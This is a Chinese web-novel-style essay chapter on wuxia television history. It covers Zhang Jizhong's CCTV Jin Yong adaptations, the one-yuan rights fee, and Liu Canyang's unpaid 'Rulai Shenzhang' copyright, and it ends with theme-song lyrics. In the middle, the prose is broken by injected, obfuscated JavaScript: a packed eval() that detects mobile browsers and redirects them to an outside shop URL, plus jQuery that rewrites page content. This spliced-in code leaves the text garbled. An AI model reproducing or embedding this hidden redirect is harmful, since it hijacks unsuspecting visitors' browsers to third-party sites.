51.一马奔腾射雕引弓《天地都在我心中》
作品:《漫卷侠音》 上一章讲到,97年《太极宗师》播出。
吴京的“功夫小子”形象,从此深入人心。
袁和平的动作打磨,也将合拍剧武打场面的水平,提到了一个新的高度。
张纪中看到了这部剧,心里就记下了这个人。
当时,他因《三国演义》中“南征北战”部分统筹的不错,调入了央视,正在筹备《水浒传》的拍摄,就三顾茅庐,请来了袁和平。
整个袁家班到内地参与了长达十五个月的拍摄。
给上梁山的每一位好汉,依据性格与身份,设计了不同的招式。
彻底革新了内地电视剧的动作设计。
当时,金庸在浙江大学任职文学院院长。
他看到了央视版《三国演义》《水浒传》的宏大场面,心生羡慕,并意识到内地已具备制作精品剧的能力,在浙大接受央视《文化视点》栏目的专访时,他表示,如果央视能够按照拍《三国演义》《水浒传》一样的规模,来拍自己的武侠小说,他就愿意一元钱转让版权。
张纪中看到了这则新闻,心中的“武侠之火”被点燃。
他就代表央视,给金庸写了一封信。
这一笔版权交易,金庸真就象征性地收了一元。
张纪中非常重视金庸这位武侠文学界的泰山北斗,也不敢怠慢这意义重大的“一元”。
他没有拿出一张普通纸币或硬币,而是郑重地去银行挑了个吉利号码,专门特制了一张印有【一块钱版权费】的纪念币。
同样是“一元”版权费,不同人不同命。
第四十四章、四十五章讲到,金庸的《明报》在62年盗了柳残阳的《天佛掌》,打港台两地的信息差,改名《如来神掌》私自连载,作者署名“上官虹”,火了以后,富华影业买走版权,拍成电影,片头标明“上官虹原著”,引入台湾上映,柳残阳就发现了这个事。
他写信给《明报》讨公道,金庸都推脱给不存在的“上官虹”。
他写信给富华影业讨公道,富华影业的态度蛮好,亲自派代表到台湾去拜访他。
他跟郑证因、古龙一样,都混过帮派,做事讲究一个江湖道义。
他没有为难工作人员,只要富华影业登报声明《如来神掌》改编自《天佛掌》,他是原著作者,而非“上官虹”,他就象征性地收取一元版权费。
富华影业的人马上从兜里掏出了一元钱。
但回去以后,并没有照柳残阳说的那样登报。
继续拍了三部《如来神掌》,都没有标明:柳残阳原著。
柳残阳被诓了,再去找时,富华影业就称已支付版权费,可以进行影视改编。
而登报澄清原作者是谁,并不在影视改编的业务范围内。
最初的版权没有找回来,后续就更难了。
粤语残片时代,富华、富群两家共拍了七集《如来神掌》。
八十年代,邵氏与tvb分别翻拍了电影、电视剧版《如来神掌》。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322190|196570||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
九十年代,tvb续拍了剧版《如来神掌再战江湖》。
千禧年后,两岸四地合拍了剧版《如来神掌》。
网络大电影时代,也有《如来神掌》的参与。
以上,没有人支付过柳残阳版权费。
为此,他不忿了一辈子。
而金庸的《笑傲江湖》以“一元”版权费卖给了张纪中。
张纪中继续拍《射雕英雄传》时,便以正常市场价60万购入。
他回报给金庸的,都是实地取景、场面宏大,不吝成本,不同于港台的大制作。
每次宣发和选角,都搞得声势浩大。
在用心上,没得说。
当然,问题也不少,被吐槽最多就是节奏慢,没有体现出“武侠”这个剧种应有的轻刀快马,暮气沉沉似水浒,还有色调偏冷,潮气很重,让人看着不舒服。
唯有《射雕英雄传》,色调最舒服。
附【天地都在我心中】
出处:2003张纪中版《射雕英雄传》
词作者:易茗
千秋霸业,百战成功
边声四起唱大风
一马奔腾,射雕引弓
天地都在我心中
狂沙路万里,关山月朦胧
寂寞高手,一时俱无踪
真情谁与共,生死可相从
大事临头向前冲
开心胸
一马奔腾,射雕引弓
天地都在我心中

